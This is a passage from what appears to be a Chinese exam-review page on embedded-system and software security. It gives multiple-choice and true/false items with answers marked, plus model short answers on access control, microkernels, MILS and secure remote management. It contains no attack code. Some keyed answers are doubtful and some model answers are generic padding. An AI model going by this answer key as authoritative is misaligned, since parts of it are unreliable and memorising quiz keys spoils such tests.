D  ）</li></ol><p>A. 自主访问控制指用户有权对自身所创建的访问对象进行各类权限的更改。</p><p>B. 强制访问控制，是指由系统（通过专门设置的系统安全员）对用户所创建的对象进行统一的强制性控制，按照规定的规则决定哪些用户可以对哪些对象进行什么类型的访问。</p><p>C. 基于角色的访问控制不必在每次创建用户时都进行分配权限的操作，只要分配用户相应的角色即可。</p><p>D.在复杂的嵌入式系统中必须要求使用强制访问控制。</p><ol start="12"><li>以下关于可信计算说法错误的是（ D  ）</li></ol><p>A. 可信的主要目的是要建立起主动防御的信息安全保障体系。</p><p>B. 可信计算机安全评价标准（TCSEC）中第一次提出了可信计算机和可信计算基的概念。</p><p>C. 可信的整体框架包含终端可信、终端应用可信、操作系统可信、网络互联可信、互联网交易等应用系统可信。</p><p>D. 可信计算平台出现后会取代传统的安全防护体系和方法。</p><ol start="13"><li>下列几种逻辑覆盖标准中，查错能力最强的是（ D  ）</li></ol><p>A. 语句覆盖       B. 判定覆盖   </p><p>C. 条件覆盖       D. 条件组合覆盖</p><ol start="14"><li>在一个“订单输入子系统”中，创建新订单和更新订单都要核查用户账号是否正确，则用例“创建新订单”、“更新订单”与用例“核查用户账号”之间的关系是(  A  )</li></ol><p>A. 包含 B. 实现  C. 扩展D. 泛化</p><ol start="15"><li>隐蔽信道是指允许进程以（ D ）系统安全策略的方式传输信息的通信信道。</li></ol><p>A. 补强  B. 有益  C. 保护  D. 危害</p><ol start="16"><li>下列对于栈溢出漏洞原理的描述错误的是哪条?（  D  ）</li></ol><p> A、 可以造成命令执行漏洞</p><p> B、 栈溢出漏洞是缓冲区溢出漏洞的一种</p><p> C、 由于软件开发人员没有考虑周全造成的漏洞</p><p> D、 操作系统的内存管理机制的漏洞</p><ol start="17"><li>关于缓冲区溢出描述错误的是（ B  ）</li></ol><p>A缓冲区是用来暂时存放输入输出数据的内存</p><p>B只要把内存加大，就可以避免缓冲区溢出</p><p>C指输入输出数据超出了缓冲区的大小，占用缓冲区之外的内存空间</p><p>D利用缓冲区溢出攻击，可以破坏程序运行，系统重新启动</p><ol start="18"><li>下面说法正确的是（ C  ）</li></ol><p>A. 经过测试没有发现错误说明程序正确。      </p><p>B. 测试的目标是为了证明程序没有错误。</p><p>C. 成功的测试是发现了迄今尚未发现的错误的测试 。</p><p>D. 成功的测试是没有发现错误的测试。</p><ol start="19"><li>软件生存周期过程中，修改错误代价最小的阶段是（ A  ）</li></ol><p>A. 需求阶段   B. 设计阶段 </p><p>C. 编程阶段   D. 发布运行阶段</p><ol start="20"><li>虚拟化技术的主要目的是什么？（  A  ）</li></ol><p>A. 提高硬件利用率</p><p>B. 降低能耗</p><p>C. 增强系统安全性</p><p>D. 简化系统维护</p><ol start="21"><li>常见的安全编码问题不包括（ A  ）</li></ol><p>A. 认证绕过  B. 缓冲区溢出  C. 命令注入  D. 整数溢出</p><ol start="22"><li>防止重放攻击最有效地方法是（ B  ）</li></ol><p>A. 对用户账户和密码进行加密。</p><p>B. 使用“一次一密”加密方式。</p><p>C. 经常修改用户账户名称和密码。</p><p>D. 使用初始化向量IV。</p><ol start="23"><li>许多黑客攻击都是利用软件实现中的缓冲区溢出的漏洞，对此最可靠的解决方案是（ C  ）</li></ol><p>A. 安装防火墙         B. 安装入侵检测系统</p><p>C. 给系统安装最新的补丁    D. 安装防病毒软件</p><ol start="24"><li>同一台物理主机上一个虚拟机的崩溃或故障不会影响其他虚拟机，这主要得益于虚拟化技术的（ A ）特征。</li></ol><p>A．隔离       B．封装     C．硬件独立      D．分区</p><ol start="25"><li>与虚拟机相比，以下关于目前容器的叙述错误的是（ B ）。</li></ol><p>A．容器一般是在操作系统级别进行的虚拟   </p><p>B．容器的安全性比虚拟机强    </p><p>C．容器的启动时间比较快  </p><p>D．容器弹性分配分配，可以在没有关闭容器的情况下添加资源</p><ol start="26"><li>下列攻击方式中，（ C  ）是利用TCP&#x2F;IP漏洞发起的攻击。</li></ol><p>A．SQL注入攻击  B．XSS攻击   C．Ping of Death  D．CSRF攻击</p><ol start="27"><li>下列哪一项不是SSL所提供的服务（ D  ）</li></ol><p>A. 用户和服务器的合法认证</p><p>B. 加密数据以隐藏被传送的数据</p><p>C. 维护数据完整性</p><p>D. 保留通信双方的通信时的基本信息</p><ol start="28"><li>在IPSEC VPN中，隧道模式主要应用在以下哪个场景中（ C  ）</li></ol><p>A. 主机与主机之间 B. 主机与安全网关之间</p><p>C. 安全网关之间  D. 隧道模式与传输模式之间</p><ol start="29"><li>攻击组通过收集数据包，分析得到共享密钥，然后将一个虚假AP放置到无线网络中，截获用户和AP传输的所有数据，还可以对双方的传输数据任意进行修改，这种攻击方式称为（ D  ）</li></ol><p>A. 会话劫持攻击  </p><p>B. 拒绝服务攻击 </p><p>C. 漏洞扫描攻击 </p><p>D. 中间人攻击</p><ol start="30"><li>以下哪一项不属于XSS跨站脚本漏洞危害？（  C ）</li></ol><p>A. 钓鱼欺骗  B. 身份盗用   C. SQL数据泄露   D. 网站挂马</p><ol start="31"><li>手机“越狱”是指（  B  ）</li></ol><p>A．手机受到攻击，不受控制。</p><p>B．通过不正常手段获得手机操作系统的最高权限。</p><p>C．重新安装手机操作系统。</p><p>D．修补手机漏洞或对操作系统升级</p><ol start="32"><li>以下关于物联网信息安全特点的描述中,错误的是 ( D  )</li></ol><p>A. 物联网会遇到比互联网更加严峻的信息安全的威胁、考验与挑战。</p><p>B. 近年来网络安全威胁总体趋势是趋利性。</p><p>C. 网络犯罪正逐步形成黑色产业链，网络攻击日趋专业化和商业化。</p><p>D. 互联网信息安全技术可以保证物联网的安全。</p><ol start="33"><li>以下哪一项不是黑客在入侵踩点（信息搜集）阶段采取的技术？（ D  ）</li></ol><p>A. 公开信息的合理利用及分析 </p><p>B. IP及域名信息收集</p><p>C. 主机及系统信息收集</p><p>D. 使用sqlmap验证SQL注入漏洞是否存在 </p><ol start="34"><li><p>以下哪个选项不是内存泄漏的原因？（  C ）<br>A. 指针重新赋值<br>B. 错误的内存释放<br>C. 正确的内存分配<br>D. 返回值的不正确处理</p></li><li><p>关于内存泄漏，以下说法错误的是？（  A ）<br>A. 内存泄漏是操作系统内存管理出错导致的问题<br>B. 内存泄漏通常由于程序设计的错误导致<br>C. 内存泄漏会导致系统内存逐渐被耗尽<br>D. 内存泄漏可以通过适当的代码审查和测试来预防和发现</p></li><li><p>中间人攻击的这种攻击形式破坏了下列哪一项内容（ D ）</p></li></ol><p>A. 网络信息的抗抵赖性    B. 网络信息的保密性</p><p>C. 网络服务的可用性    D. 网络信息的完整性</p><h2 id="多选"><a href="#多选" class="headerlink" title="多选"></a>多选</h2><ol><li>关于黑白名单的说法，正确的是（  CD  ）</li></ol><p>A. 由于嵌入式系统的专用性，为方便管理，远程连接的ip地址经常限定为特定的一个或地址段，此时适合用黑名单方式。</p><p>B. 黑名单和白名单应用场合不同，无法比较两者的限制级别。</p><p>C. 正常情况下，往往采用黑白名单结合的形式进行访问控制。</p><p>D. 杀毒软件一般采用黑名单的方式进行病毒查杀。</p><ol start="2"><li>属于组件隔离思想的例子是（  ABCD   ）</li></ol><p>A. 操作系统内核与驻留的应用程序隔离，方便操作系统实施I&#x2F;0资源访问控制。</p><p>B. 对重要数据部署加密服务，并且加密子系统与其他应用分开部署。</p><p>C. 文件系统与网络堆栈分别独立挂载到内核，降低安全失败带来的损失。</p><p>D. 在嵌入式系统上实施虚拟化技术提高安全性。</p><ol start="3"><li>密钥生命周期包含的阶段有（  ABCD   ）</li></ol><p>A．生成，存储  B．分配，启用与停用  C．控制与更新  D．撤销与销毁</p><ol start="4"><li>提高程序执行效率的原则包括（  ABCDE   ）</li></ol><p>A. 不要一味地追求程序的效率，应当在满足正确性、可靠性、健壮性、可读性等质量因素的前提下，设法提高程序的效率。</p><p>B. 以提高程序的全局效率为主，提高局部效率为辅。</p><p>C. 在优化程序的效率时，应当先找出限制效率的“瓶颈”，不要在无关紧要之处优化。</p><p>D. 先优化数据结构和算法，再优化执行代码。</p><p>E. 有时候时间效率和空间效率可能对立，此时应当分析那个更重要，作出适当的折衷。例如多花费一些内存来提高性能。</p><ol start="5"><li>Android开发过程中，下面哪些开发习惯可能导致安全漏洞（  ABD   ）</li></ol><p>A. 在程序代码中插入Log()方法输出敏感信息方便调试。</p><p>B. 在应用正式版Andoridmanifest.xml中设置android:debuggable&#x3D;”true”。</p><p>C. 使用SecureRandom时使用安全的方法设置seed。</p><p>D. 设置应用配置文件为任意用户可读写。</p><ol start="6"><li>关于“嵌入式系统安全”的说法正确的是（  ABCD   ）</li></ol><p>A. “没有所谓的绝对安全”的说法是有害的，如果一开始就有这种广泛而负面的主张，开发人员就没有充分的理由去实现最好的安全产品。</p><p>B. 有可能实现绝对的安全，绝对安全只适用于具体的安全策略。</p><p>C. 组件隔离是嵌入式系统一项基本的安全策略，也是实现更高级别的系统安全策略的基础。</p><p>D. 大多数安全策略都可以映射到一个或多个保密性、完整性和实用性（CIA）的保障因素。</p><ol start="7"><li>传统 IT 系统基础架构经过多年的发展，普遍面临以下哪些突出问题（  ABC  ）</li></ol><p>A. IT 资源部署周期长，难以快速满足业务需求</p><p>B. 机房空间、电力供应紧张</p><p>C. 硬件资源利用率低和资源紧张并存</p><p>D. 资源全局共享，系统整体可用性高</p><ol start="8"><li>对数组下标校验，要考虑以下情况（  ABCD   ）</li></ol><table><thead><tr><th align="left">A. 要考虑是否超过数组上限</th></tr></thead><tbody><tr><td align="left">B. index值类型最好定义为unsigned类型</td></tr><tr><td align="left">C. 要考虑不为负值</td></tr><tr><td align="left">D. 若有循环运算等操作，要考虑运算结果是否为溢出或者反转</td></tr></tbody></table><ol start="9"><li>僵尸程序可以破坏系统的完整性和可用性，典型应用有（  ABCDE   ）</li></ol><p>A. 分布式拒绝服务攻击</p><p>B. 发送垃圾邮件</p><p>C. 网络嗅探</p><p>D. Keylogging</p><p>E. 传播其他恶意软件</p><ol start="10"><li>Android 应用中导致HTTPS中间人攻击的原因有（  ABC   ）</li></ol><p>A. 没有对SSL证书校验  B. 没有对主机名进行校验</p><p>C. SSL证书被泄露    D. 使用WIFI连接网络</p><p>判断</p><ol><li><p>组件隔离是嵌入式系统一项基本的安全策略，也是实现更高级别的系统安全策略的基础。（  T  ）</p></li><li><p>相对于微内核操作系统，单内核操作系统为安全提供了更好的架构（ F  ）</p></li><li><p>模型驱动设计（MDD）可提升程序稳定性，减少传统代码库中的安全缺陷。（  T  ）</p></li><li><p>对程序的测试最好交由公司的技术高手进行全面深度测试。（  F  ）</p></li><li><p>CFB模式在加密时有一个初始向量，必须用密文传给接收方。（  F  ）</p></li><li><p>用malloc 或new 申请内存之后，可立即使用分配的内存。（  F  ）</p></li><li><p>编码规范使代码看起来整齐，提高编译速度。（  F  ） </p></li><li><p>在白盒测试中，对于测试人员来说，关于被测试的系统的信息都是已知的。（  T  ）</p></li><li><p>项目质量管理的最终责任由质量经理来承担。（ F  ）</p></li><li><p>黑客一般会绕过服务器安全控制部分，侵入一个相对较弱的客户端，然后从该客户端进入服务器中心。（  T  ）</p></li><li><p>飞机内部包含的飞行控制系统，空中交通防撞系统(TCAS)，通信导航监视系统，电子飞行包系统，机载娱乐系统等都属于嵌入式系统，因此飞机本身也算嵌入式系统。（ F  ）</p></li><li><p>嵌入式Linux内核是非常安全的，因为其采用了一套严格控制变更管理的流程。（  F ）</p></li><li><p>微内核的安全性、稳定性高于单内核，但效率低于单内核。（  T  ）</p></li><li><p>攻击者结合空指针和内核代码注入漏洞，可强制内核执行攻击者代码，轻易获得整个系统的全部控制器。（  T  ）</p></li><li><p>带SSL保护的HTTP链接可以抵御中间人攻击。（  F  ）</p></li><li><p>DNS缓存污染也被称为DNS缓存中毒，是一种传播在DNS服务器之间的病毒。（ F  ）</p></li><li><p>为了提高安全性，可以设置让编译器把所有的警告都当作错误看待。（  T  ）</p></li><li><p>编写越紧凑的代码越能产生高效的机器码。（ F  ）</p></li><li><p>黑盒测试又叫功能测试，它主要关注的是被测试软件功能的实现，而不是内部逻辑。（  T  ）</p></li><li><p>中间人攻击不需要成功入侵客户端，一般通过拦截客户端，服务端信息，经修改后再返回对方，引导客户端进入错误的目标服务器，或模仿有效链接达到欺骗用户的目的。（  T  ）</p></li><li><p>通过检测服务调用时间可以作为一种隐信道攻击。（  T   ）</p></li><li><p>虚拟化技术的主要目的是对IT基础设施进行简化。（  T  ）</p></li><li><p>系统设计者只需做好系统的设计工作，无须处理故障恢复问题。（  F  ）</p></li><li><p>尽管有内存保护和虚拟内存，通过占尽资源的方式，不良代码也可让关键应用程序停止运行。（  T  ）</p></li><li><p>访问控制针对嵌入式系统中的进程和资源采用最小权限原则。（  T  ）</p></li><li><p>访问控制的粒度越小越好，可制定完善细致的安全策略。（  F  ）</p></li><li><p>黑名单和白名单只是应用的场景不同，严格程度没有高低之分。（  F  ）</p></li></ol><h1 id="简答"><a href="#简答" class="headerlink" title="简答"></a>简答</h1><ol><li><h2 id="简述嵌入式系统的定义。"><a href="#简述嵌入式系统的定义。" class="headerlink" title="简述嵌入式系统的定义。"></a>简述嵌入式系统的定义。</h2><p><strong>以应用为中心，以计算机技术为基础，软硬件可裁剪，适应应用系统对功能可靠性，成本体积，功耗严格的专用计算机系统</strong></p><p>嵌入式系统是一种包含了一个或多个的微处理器以及软件的电子产品，在一个大型实体中实现某些基础功能</p><p>嵌入式系统是一种专门设计用于执行特定功能或任务的计算机系统，通常嵌入在更大的系统中。这些系统通常被设计成在特定的硬件平台上运行，具有严格的实时性、稳定性和可靠性要求。嵌入式系统通常被用于控制、监控或执行特定任务，如家用电器、汽车、医疗设备、工业控制系统等。这些系统通常具有固定的功能和任务，与通用计算机系统不同，其软件和硬件通常是为特定应用程序定制的。</p></li><li><h2 id="嵌入式系统使用微内核的优势有哪些？"><a href="#嵌入式系统使用微内核的优势有哪些？" class="headerlink" title="嵌入式系统使用微内核的优势有哪些？"></a><font color='red'>嵌入式系统使用微内核的优势有哪些？</font></h2><p>在嵌入式系统中，使用微内核作为操作系统内核具有一些优势，包括：</p><ol><li><strong>模块化设计</strong>：<strong>微内核采用模块化设计，将操作系统的核心功能模块化实现</strong>，如调度、内存管理、进程管理等，而其他功能如文件系统、网络协议栈等则作为独立的用户空间进程运行。这种设计使得系统更容易维护和扩展，可以根据需要添加或删除特定的功能模块。</li><li><strong>可靠性和稳定性</strong>：由于微内核的设计更为简单，<strong>内核本身的功能较少，因此减少了内核出错的可能性，提高了系统的可靠性和稳定性。</strong>此外，故障发生在用户空间的模块时，不会影响整个系统的稳定性。</li><li><strong>安全性</strong>：微内核的模块化设计也有利于系统安全性。<strong>不同功能模块运行在独立的用户空间进程中，彼此之间相互隔离，降低了模块之间互相影响的可能性，从而提高了系统的安全性。</strong></li><li><strong>灵活性</strong>：<strong>微内核架构使得系统更加灵活，可以根据具体的应用需求进行定制和优化。</strong>开发人员可以根据系统要求选择合适的功能模块，避免了不必要的功能开销。</li><li><strong>性能优化</strong>：<strong>微内核设计通常具有较小的内核空间，减少了内核的复杂性，有利于提高系统的性能。</strong>此外，模块化设计也有助于优化系统的性能，可以更好地利用硬件资源。</li></ol></li><li><h2 id="高性价比的安全策略："><a href="#高性价比的安全策略：" class="headerlink" title="高性价比的安全策略："></a><font color='red'>高性价比的安全策略：</font></h2><ol><li><p><strong>风险评估和管理</strong>：首先需要对组织面临的风险进行评估，并制定相应的风险管理计划。这有助于确定哪些安全措施是最重要的，以及如何分配有限的资源。</p></li><li><p><strong>安全意识培训</strong>：定期为员工提供安全意识培训，教育他们如何识别和应对安全威胁。通过投资于员工培训，可以降低由于人为失误而导致的安全事件发生的可能性。</p></li><li><p><strong>强化身份和访问管理</strong>：实施多因素身份验证、权限管理和访问控制，确保只有授权人员能够访问敏感信息和系统资源。</p></li><li><p><strong>定期漏洞扫描和安全补丁管理</strong>：定期对系统进行漏洞扫描，并及时安装安全补丁以修复已知漏洞，以防止黑客利用这些漏洞进行攻击。</p></li><li><p><strong>数据备份和恢复</strong>：建立有效的数据备份和灾难恢复计划，确保在发生数据丢失或系统故障时能够快速恢复业务运行。</p></li><li><p><strong>网络安全监控</strong>：部署网络安全监控工具，实时监视网络流量和系统活动，及时发现异常行为并采取措施应对潜在的安全威胁。</p></li><li><p><strong>加密</strong>：对敏感数据进行加密，无论是数据在传输过程中还是存储在系统中，加密都可以有效保护数据的机密性。</p></li><li><p><strong>安全合规</strong>：遵守相关的法规和标准，确保组织的安全实践符合法律要求，并减少可能的罚款和法律风险。</p></li></ol></li><li><h2 id="以下是一些常见的远程嵌入式系统安全解决方案："><a href="#以下是一些常见的远程嵌入式系统安全解决方案：" class="headerlink" title="以下是一些常见的远程嵌入式系统安全解决方案："></a><font color='red'>以下是一些常见的远程嵌入式系统安全解决方案：</font></h2><p>   <strong>手段：1、确保远程管理计算机与因特网不相连。</strong></p><p>   <strong>2、远程嵌入式系统必须认证管理计算机，IP地址采用白名单机制。</strong></p><p>   <strong>3、在建立远程连接之前，管理计算机应对操作员进行强身份认证，</strong></p><p>   <strong>4、使用TLS&#x2F;SSL或IKE&#x2F;IPSec的标准网络安全协议，保护远程管理命令和数据的完整性和保密性。</strong></p><ol><li><strong>安全认证和访问控制</strong>：<ul><li>使用强大的身份验证机制，如双因素认证，确保只有经过授权的用户可以访问系统。</li><li>实施访问控制策略，限制用户对系统的访问权限，确保最小权限原则。</li></ul></li><li><strong>数据加密</strong>：<ul><li>在数据传输和存储过程中使用加密技术，如TLS&#x2F;SSL协议，保护数据的机密性和完整性。</li><li>使用端到端加密，确保数据在传输过程中受到保护，即使在数据传输的各个环节中也能保持加密状态。</li></ul></li><li><strong>安全更新和漏洞修补</strong>：<ul><li>及时更新系统和应用程序，安装最新的安全补丁，以修复已知漏洞并提高系统的安全性。</li><li>实施安全漏洞管理策略，定期进行漏洞扫描和评估，及时处理发现的安全漏洞。</li></ul></li><li><strong>安全通信协议</strong>：<ul><li>使用安全的通信协议，如MQTT over TLS或CoAP over DTLS等，确保远程通信的安全性。</li><li>避免使用不安全的通信协议和默认配置，加强对通信的加密和认证。</li></ul></li><li><strong>物联网安全网关</strong>：<ul><li>部署物联网安全网关作为远程嵌入式系统的安全边界，监控和过滤流量，识别和阻止恶意攻击。</li><li>物联网安全网关可以提供防火墙、入侵检测系统（IDS）、虚拟专用网络（VPN）等安全功能。</li></ul></li><li><strong>安全审计和监控</strong>：<ul><li>实施安全审计机制，记录和监控系统的操作和事件，及时发现异常行为和安全事件。</li><li>部署安全监控系统，实时监控系统的安全状态，及时响应安全威胁和攻击。</li></ul></li><li><strong>安全培训和意识提升</strong>：<ul><li>对系统管理员和用户进行安全培训，提高其安全意识，教育他们如何识别和应对安全威胁。</li><li>建立安全文化，使所有相关人员都意识到安全的重要性，并积极参与安全保护工作。</li></ul></li></ol></li><li><h3 id="多重独立安全等级架构包含哪些方面？"><a href="#多重独立安全等级架构包含哪些方面？" class="headerlink" title="多重独立安全等级架构包含哪些方面？"></a>多重独立安全等级架构包含哪些方面？</h3><p><strong>包括信息流，数据隔离，损害控制，周期性处理，一直激活，防篡改，可评估</strong></p><p>多重独立安全等级架构（Multiple Independent Levels of Security, MILS）是一种安全架构设计范例，旨在提供高度安全性和可信任性。它包含以下几个方面：</p><ol><li><p><strong>多重安全域</strong>：系统被划分为多个独立的安全域，每个安全域具有不同的安全级别和访问控制策略。这些安全域之间是相互隔离的，确保一个安全域的受到攻击不会波及其他安全域。</p></li><li><p><strong>安全通信</strong>：在不同安全域之间进行安全通信时，需要确保数据的保密性、完整性和可用性。安全通信的机制包括加密、认证、访问控制等，以防止信息泄露和篡改。</p></li><li><p><strong>安全策略</strong>：每个安全域都有自己的安全策略，包括访问控制规则、权限管理、审计机制等。这些安全策略确保系统在运行时符合安全需求，并能够检测和应对安全事件。</p></li><li><p><strong>安全监控</strong>：系统需要实时监控各个安全域的安全状态，及时发现和响应安全事件。安全监控系统可以检测异常行为、入侵尝试等安全威胁，并采取相应的措施进行应对。</p></li><li><p><strong>安全审计</strong>：对系统的安全性进行定期审计，检查安全策略的有效性、系统配置的合规性以及安全事件的处理情况。安全审计有助于发现潜在的安全问题，并及时进行修复和改进。</p></li></ol><p>通过以上方面的设计和实施，多重独立安全等级架构能够提供高度安全性和可信任性，适用于对安全性要求极高的系统和应用场景。</p></li><li><h3 id="嵌入式系统设计师除了做好系统设计工作，还需要了解哪些嵌入式安全策略。"><a href="#嵌入式系统设计师除了做好系统设计工作，还需要了解哪些嵌入式安全策略。" class="headerlink" title="嵌入式系统设计师除了做好系统设计工作，还需要了解哪些嵌入式安全策略。"></a>嵌入式系统设计师除了做好系统设计工作，还需要了解哪些嵌入式安全策略。</h3><p><strong>（1）绝对安全</strong></p><p><strong>（2）保密性、完整性和实用性</strong></p><p><strong>（3）隔离策略</strong></p><p><strong>（4）信息流控制</strong></p><p><strong>（5）物理安全策略</strong></p><p><strong>（6）特色应用软件的安全策略</strong></p><p>嵌入式系统设计师除了系统设计工作外，还需要了解以下嵌入式安全策略：</p><ol><li><p><strong>物理安全</strong>：确保设备的物理安全是至关重要的。设计师需要考虑如何防止设备被盗或被物理篡改，可以采用安全外壳、封闭式设计、防拆卸措施等方式来增强物理安全性。</p></li><li><p><strong>认证和授权</strong>：设计师需要考虑如何实现用户身份认证和访问授权，确保只有经过授权的用户可以访问系统的敏感功能和数据。这可以通过密码、生物识别技术、访问控制列表等方式来实现。</p></li><li><p><strong>加密和数据保护</strong>：在嵌入式系统中，数据的保护至关重要。设计师需要了解加密算法、安全通信协议等技术，确保数据在传输和存储过程中得到有效的保护，防止数据泄露和篡改。</p></li><li><p><strong>安全更新和漏洞管理</strong>：设计师需要考虑如何及时更新系统以修复已知漏洞，并建立漏洞管理机制，及时响应新的安全威胁。安全更新可以通过固件更新、远程更新等方式进行。</p></li><li><p><strong>安全审计和监控</strong>：设计师需要设计安全审计和监控机制，用于监视系统的安全状态、检测异常行为，并记录安全事件以便进行事后分析和调查。这有助于及时发现安全问题并采取相应措施。</p></li><li><p><strong>抗攻击能力</strong>：设计师需要考虑系统的抗攻击能力，包括抵御恶意软件、拒绝服务攻击、侧信道攻击等。采取安全编程实践、内存保护机制、安全认证等措施可以提高系统的抗攻击能力。</p></li></ol><p>综合来看，嵌入式系统设计师需要了解并综合考虑物理安全、认证和授权、加密和数据保护、安全更新和漏洞管理、安全审计和监控、抗攻击能力等方面的安全策略，以确保系统在面临各种安全威胁时能够保持安全性和稳定性。</p></li><li><h3 id="简述访问控制的三种模式。"><a href="#简述访问控制的三种模式。" class="headerlink" title="简述访问控制的三种模式。"></a>简述访问控制的三种模式。</h3><p><strong>（ 自主访问控制DAC）、（强制访问控制MAC ） 和 （基于角色的访问控制RBAC ） 。</strong></p><p>访问控制是信息安全领域中的一项重要技术，用于控制用户或实体对系统资源的访问权限。常见的访问控制模式包括以下三种：</p><ol><li><p><strong>强制访问控制（MAC）</strong>：</p><ul><li>在强制访问控制模式下，访问控制是由系统管理员设定的，用户无法自行控制访问权限。每个主体（如用户、进程）和客体（如文件、系统资源）都被赋予一个安全级别或标签，系统根据这些标签来强制控制访问。</li><li>MAC模式通常用于高度安全性要求的系统，如军事系统或政府机构系统，以确保严格的访问控制和信息保密性。</li></ul></li><li><p><strong>自主访问控制（DAC）</strong>：</p><ul><li>在自主访问控制模式下，资源的所有者有权决定其他用户对资源的访问权限。资源的所有者可以授予或撤销其他用户对资源的访问权限，从而实现对资源的控制。</li><li>DAC模式常用于一般的多用户系统中，例如企业内部网络或个人电脑系统，允许资源的所有者自主管理资源的访问权限。</li></ul></li><li><p><strong>基于角色的访问控制（RBAC）</strong>：</p><ul><li>基于角色的访问控制模式将用户的权限分配给角色，而不是直接分配给用户。用户被分配到一个或多个角色，每个角色具有特定的权限，用户通过角色来获取相应的权限。</li><li>RBAC模式简化了权限管理，提高了系统的安全性和可维护性，特别适用于大型组织或系统，可以根据角色的变化来调整用户的权限。</li></ul></li></ol><p>这三种访问控制模式在实际应用中根据系统需求和安全级别的要求进行选择和组合，以确保系统对资源的访问具有适当的安全性和灵活性。</p></li><li><h3 id="列举现代静态源码分析器可以检查到的常见错误。"><a href="#列举现代静态源码分析器可以检查到的常见错误。" class="headerlink" title="列举现代静态源码分析器可以检查到的常见错误。"></a>列举现代静态源码分析器可以检查到的常见错误。</h3><p><strong>潜在的NULL指针的解引用</strong></p><p><strong>越界访问（例如，数组或动态分配的缓冲区）；即缓冲区溢出。</strong></p><p><strong>对潜在只读内存的写操作</strong></p><p><strong>对潜在的未初始化对象的读操作</strong></p><p><strong>资源泄露，如内存泄露，文件描述符泄露</strong></p><p><strong>对已经释放内存的使用</strong></p><p><strong>超范围内存使用（从子程序返回自变量的地址）</strong></p><p><strong>设置子程序返回值的失败</strong></p><p><strong>缓冲和数组下溢</strong></p><p>现代静态源码分析器在检查源代码时可以发现许多常见的错误和潜在的安全漏洞。以下是一些常见错误，现代静态源码分析器可以检测到的示例：</p><ol><li><p><strong>空指针引用</strong>：静态源码分析器可以检测到可能导致空指针异常的代码，如未初始化变量或对空指针进行操作。</p></li><li><p><strong>内存泄漏</strong>：静态源码分析器可以识别未释放分配的内存或存在内存泄漏的代码，帮助开发人员避免资源泄漏问题。</p></li><li><p><strong>缓冲区溢出</strong>：静态源码分析器可以检测到存在缓冲区溢出风险的代码，防止恶意用户利用输入数据溢出缓冲区造成安全漏洞。</p></li><li><p><strong>未使用的变量</strong>：静态源码分析器可以识别未使用的变量或代码块，帮助开发人员优化代码并减少不必要的复杂性。</p></li><li><p><strong>未处理的异常</strong>：静态源码分析器可以发现未处理的异常或错误处理不当的代码，帮助开发人员提高代码的健壮性和可靠性。</p></li><li><p><strong>资源泄漏</strong>：静态源码分析器可以检测到未关闭文件、数据库连接或其他资源的代码，帮助开发人员避免资源泄漏问题。</p></li><li><p><strong>并发问题</strong>：静态源码分析器可以识别可能导致并发问题的代码，如竞态条件、死锁等，帮助开发人员编写更安全的并发程序。</p></li><li><p><strong>安全漏洞</strong>：静态源码分析器可以检测到常见的安全漏洞，如跨站脚本（XSS）、SQL注入、路径遍历等，帮助开发人员提前发现和修复安全问题。</p></li></ol><p>通过使用现代静态源码分析器，开发人员可以在早期阶段发现并修复代码中的错误和潜在问题，提高代码质量、安全性和可维护性。</p></li><li><h3 id="列举高可信软件工程原则。"><a href="#列举高可信软件工程原则。" class="headerlink" title="列举高可信软件工程原则。"></a>列举高可信软件工程原则。</h3><p><strong>1）最少的实现</strong></p><p><strong>2）组件化架构</strong></p><p><strong>3）最小权限</strong></p><p><strong>4）安全开发过程</strong></p><p><strong>5）独立专家验证</strong></p><p>高可信软件工程是指在软件开发过程中注重软件的可靠性、安全性和稳定性，以确保软件在各种条件下都能正常运行并达到预期的效果。以下是一些高可信软件工程的原则：</p><ol><li><p><strong>完整性（Integrity）</strong>：确保软件在运行时数据和功能的完整性，防止未经授权的访问、修改或破坏。</p></li><li><p><strong>可用性（Availability）</strong>：确保软件在需要时可用，能够持续提供服务并及时响应用户请求。</p></li><li><p><strong>保密性（Confidentiality）</strong>：确保软件处理的敏感信息只能被授权用户访问，防止信息泄露。</p></li><li><p><strong>可靠性（Reliability）</strong>：确保软件在各种条件下都能稳定运行，不会因为意外情况导致系统崩溃或数据丢失。</p></li><li><p><strong>可审计性（Auditability）</strong>：确保软件的操作和行为可以被审计和跟踪，以便追溯问题和进行安全审计。</p></li><li><p><strong>可证明性（Accountability）</strong>：确保对软件的使用和操作进行跟踪和记录，以便追责和验证责任。</p></li><li><p><strong>最小权限原则（Principle of Least Privilege）</strong>：给予用户或程序最小必要的权限来完成其工作，以减少潜在的安全风险。</p></li><li><p><strong>安全性（Security）</strong>：确保软件系统能够抵御各种安全威胁和攻击，保护系统免受恶意行为的影响。</p></li><li><p><strong>可扩展性（Scalability）</strong>：确保软件系统能够方便地扩展和适应不断变化的需求和环境。</p></li><li><p><strong>可维护性（Maintainability）</strong>：确保软件系统易于维护和修改，降低修改成本并保持系统的可靠性和稳定性。</p></li></ol><p>这些原则在软件工程实践中起着重要的指导作用，帮助开发团队设计、开发和维护高可信度的软件系统。</p></li><li><h3 id="简述嵌入式远程管理的基本防御流程。"><a href="#简述嵌入式远程管理的基本防御流程。" class="headerlink" title="简述嵌入式远程管理的基本防御流程。"></a>简述嵌入式远程管理的基本防御流程。</h3></li></ol><p>   <strong>手段：1、确保远程管理计算机与因特网不相连。</strong></p><p>   <strong>2、远程嵌入式系统必须认证管理计算机，IP地址采用白名单机制。</strong></p><p>   <strong>3、在建立远程连接之前，管理计算机应对操作员进行强身份认证，</strong></p><p>   <strong>4、使用TLS&#x2F;SSL或IKE&#x2F;IPSec的标准网络安全协议，保护远程管理命令和数据的完整性和保密性。</strong></p><p>   嵌入式系统的远程管理是指通过网络远程监控、配置、更新和维护嵌入式设备。在进行嵌入式远程管理时，需要采取一系列防御措施来确保系统的安全性和稳定性。以下是基本的嵌入式远程管理的防御流程：</p><ol><li><p><strong>身份验证和授权</strong>：确保只有经过身份验证的用户才能访问远程管理接口。使用强大的身份验证机制，如双因素认证，以确保只有授权用户可以远程管理设备。</p></li><li><p><strong>安全通信</strong>：使用加密通信协议（如TLS&#x2F;SSL）确保远程管理过程中的数据传输是加密的，防止数据在传输过程中被窃取或篡改。</p></li><li><p><strong>安全升级和更新</strong>：确保远程升级和更新的过程是安全可靠的。使用数字签名来验证软件更新的完整性和真实性，防止恶意软件或未经授权的修改被加载到设备中。</p></li><li><p><strong>安全配置</strong>：确保远程管理接口和功能的安全配置，限制只有必要的功能和权限被开放给远程管理者，减少潜在攻击面。</p></li><li><p><strong>安全审计和监控</strong>：实施安全审计和监控机制，记录远程管理操作的日志并进行实时监控，以便及时发现异常行为或安全事件。</p></li><li><p><strong>物理安全</strong>：